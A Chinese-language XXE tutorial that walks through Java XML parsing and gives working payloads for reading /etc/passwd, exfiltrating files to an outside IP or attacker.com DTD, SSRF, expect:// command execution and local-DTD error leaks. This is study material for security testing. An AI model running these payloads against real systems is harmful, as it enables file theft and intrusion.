JAVA XXE 学习总结
视频教程在我主页简介或专栏里
目录:
JAVA XXE 学习总结
XML 基础
XXE 原理介绍
XXE 攻击
任意文件读取
OOB XXE
SSRF
RCE
基于报错回显
利用本地 DTD 来利用盲目 XXE
通过修改内容类型进行 XXE 攻击
Excel文件导致XXE
JAVA XXE 学习总结
XML 基础
XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。
<!--XML申明--><?xml version="1.0"?>
<!--文档类型定义-->
<!DOCTYPE note [ <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)> <!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)> <!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)> <!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)> <!--定义body元素为”#PCDATA”类型-->
]>
<!--文档元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>
xxe漏洞只与DTD文档类型定义有关,下面开始只需要关注DTD即可。
DTD
DTD 用于定义 XML 文档格式的一种规范,它声明了 XML 文档中允许的元素、属性、层级结构,确保 XML 文档格式正确性。
DTD 又分为外部 DTD 和内部 DTD,
内部 DTD:直接嵌套在 XML 文档内部。
外部 DTD:储存在单独文档中,通过声明引用。
内部 DTD demo
<?xml version="1.0"?><!DOCTYPE note [
<!ELEMENT note (to, from, heading, body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>John</to>
<from>Jane</from>
<heading>Reminder</heading>
<body>Don't forget our meeting at 3 PM!</body>
</note>
外部 DTD demo
<!ELEMENT note (to, from, heading, body)><!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
通过文档声明引用,
<?xml version="1.0"?><!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>John</to>
<from>Jane</from>
<heading>Reminder</heading>
<body>Don't forget our meeting at 3 PM!</body>
</note>
java 中的 xxe 漏洞主要出现在外部 DTD 中。接下来主要只关注外部 DTD。
因为引用外部 DTD 可以使用 SYSTEM 或 PUBLIC 标志符,语法和含义不同,不过都可以在XXE攻击中使用。
SYSTEM 定义
<!DOCTYPE name SYSTEM "address.dtd" [...]>
system 属性可以是 dtd 也可以是 url 链接,
PUBLIC 定义
<!DOCTYPE name PUBLIC "any text" "http://evil.com/evil.dtd">
XXE 原理介绍
XXE 全称是XML External Entity Injection,这里的 entity(实体) 就是 DTD body 中的一部分,然后这个 entity 也可以跟进位置分为 internal entity/external entity,
一般使用的就是外部实体,实列
<!ENTITY name SYSTEM "URI/URL">
实体还可以分为参数实体,其可以通过 %
或 &
进行引用,正是因为这些条件才使得我们能够进行实体注入。
XXE 攻击
不同平台支持的 xxe 协议
libxml2 | PHP | Java | .NET |
file | file | file | file |
http | http | https | http |
ftp | ftp | ftp | https |
php | file | ftp | |
compress.zlib | jar | ||
compress.bzip2 | netdoc | ||
data | mailto | ||
glob | gopher* | ||
phar |
任意文件读取
DOMXML
package org.example; import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import org.w3c.dom.Document;
public class DOMXML {
public static void main(String[] args) {
try {
DocumentBuilderFactory documentBuilderFactory = DocumentBuilderFactory.newInstance();
DocumentBuilder documentBuilder = documentBuilderFactory.newDocumentBuilder();
Document document = documentBuilder.parse("D:\\JavaLearn\\test\\src\\main\\java\\test.xml");
String textContent = document.getDocumentElement().getTextContent();
System.out.println(textContent);
} catch (Exception e) {
e.printStackTrace();
}
}
}
test.xml
<?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE file [
<!ENTITY xxe SYSTEM "file://D:/JavaLearn/test/src/main/java/flag.txt">
]>
<root>&xxe;</root>
java 中 file 协议还有列目录的功能(php 中则不行)
<?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE file [
<!ENTITY xxe SYSTEM "file://D:/JavaLearn/test/src/main/java/">
]>
<root>&xxe;</root>
netdoc 协议和 file 协议功能一样
OOB XXE
用于没有回显进行外带数据,
DOMXML
package org.example; import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import org.w3c.dom.Document;
public class DOMXML {
public static void main(String[] args) {
try {
DocumentBuilderFactory documentBuilderFactory = DocumentBuilderFactory.newInstance();
DocumentBuilder documentBuilder = documentBuilderFactory.newDocumentBuilder();
Document document = documentBuilder.parse("D:\\JavaLearn\\test\\src\\main\\java\\test.xml");
String textContent = document.getDocumentElement().getTextContent();
System.out.println(textContent);
} catch (Exception e) {
e.printStackTrace();
}
}
}
test.dtd
<!ENTITY % file SYSTEM "./flag.txt"> <!ENTITY % define_http "<!ENTITY % send_http SYSTEM 'http://106.53.212.184:6666/%file;'>">
test.xml
<?xml version="1.0" encoding="utf-8" ?> <!DOCTYPE xdsec[
<!ENTITY % include SYSTEM "./test.dtd" >
%include;
%define_http;%send_http;
]>
<books></books>
这里最关键的是 dtd 中的第二句话,只有这样才能成功解析到 %file
内容,%
就是%的实体编码,防止冲突报错,而且只有外部 dtd 文件才允许实体里面套实体
<!ENTITY % define_http "<!ENTITY % send_http SYSTEM 'http://106.53.212.184:6666/%file;'>">
或者
<!ENTITY % define_http "<!ENTITY send_http SYSTEM 'http://106.53.212.184:6666/%file;'>">%define_http;然后利用&send_http;去引用
SSRF
可以探测内网端口或主机存活情况,同样可以用于 dnslog 验证。
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE xxe [
<!ENTITY url SYSTEM "http://192.168.116.1:90/" >
]>
<xxe>&url;</xxe>
RCE
expect://
是一些配置不当导致的命令执行协议,如果目标内部的PHP环境中安装了expect扩展,并且该扩展被加载到了处理XML的内部应用程序上,就可以利用expect来执行系统命令。
Expect扩展是一个用于自动化交互的套件,它可以在执行命令和程序时,模拟用户输入指定的字符串,以实现交互通信。如果能够成功利用这个扩展。
<?xml version="1.0" encoding="utf-8" ?> <!DOCTYPE xxe [
<!ENTITY url SYSTEM "expect://whoami" >
]>
<xxe>&url;</xxe>
基于报错回显
感觉利用面不是很大,一般 java 的报错是看不到的,有点像 python 的报错回显,需要特定条件才行。
test.xml
<?xml version="1.0" ?><!DOCTYPE message [
<!ENTITY % ext SYSTEM "http://attacker.com/test.dtd">
%ext;
]>
<message></message>
test.dtd
<!ENTITY % file SYSTEM "./flag.txt"><!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///abcxyz/%file;'>">
%eval;
%error;
利用本地 DTD 来利用盲目 XXE
看了上面的 oob xxe 已经知道内部 dtd 不允许直接把实体放入另一个实体中,这种操作只有在外部实体中才不会报错。但又需要这样才能二次解析获得 %file
的内容。
那么如果存在防火墙,不允许直接引入 http://example/test.dtd 又该怎么办呢,参考 Arseniy Sharoglazov 师傅的文章可以知道还可以利用本地 dtd 进行覆盖攻击。
比如本地存在 test.dtd:
<!ENTITY % condition "and | or | not | equal | contains | exists | subdomain-of"><!ELEMENT pattern (%condition;)>
那么可以构建 payload
<?xml version="1.0" ?><!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file://test.dtd">
<!ENTITY % condition 'aaa)>
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
<!ELEMENT aa (bb'>
%local_dtd;
]>
<message>any text</message>
重新定义了 condition
参数的值会进行覆盖
'aaa)><!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
<!ELEMENT aa (bb'
类比原本的 dtd 变为
<!ENTITY % condition "aaa)><!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
<!ELEMENT aa (bb">
<!ELEMENT pattern (aaa)>
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
<!ELEMENT aa (bb)>
这样也能成功实现 xxe 报错回显,至于本地的 dtd 文件就搜集一些默认路径的进行爆破得到。
通过修改内容类型进行 XXE 攻击
正常的 post 请求
POST /action HTTP/1.0Content-Type: application/x-www-form-urlencoded
Content-Length: 7
foo=bar
有些网站也支持 xml 格式,如 SOAP 协议网站,那么就可以等同于
POST /action HTTP/1.0Content-Type: application/xml
Content-Length: 52
<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>
如果存在就可以进行 xxe 攻击
POST /action HTTP/1.1 Content-Type: application/xml
Content-Length: 288
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root></root>
<search>name</search>
<value>&xxe;</value>
</root>
Excel文件导致XXE
excel 文件本质就是 XML 文档的 zip 文件,这里创建一个 docx 文件然后进行解压
看到是存在 xml 文件,并且也是会用 xml 解析器进行解析的。然后将其中的内容替换为 xxe 注入代码即可
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE xxe [
<!ENTITY url SYSTEM "http://DNSLOG/" >
]>
<xxe>&url;</xxe>
当然这种是只有老版本的 xml 解析器才会有的洞了。
视频教程在我主页简介或专栏里
申明:本账号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关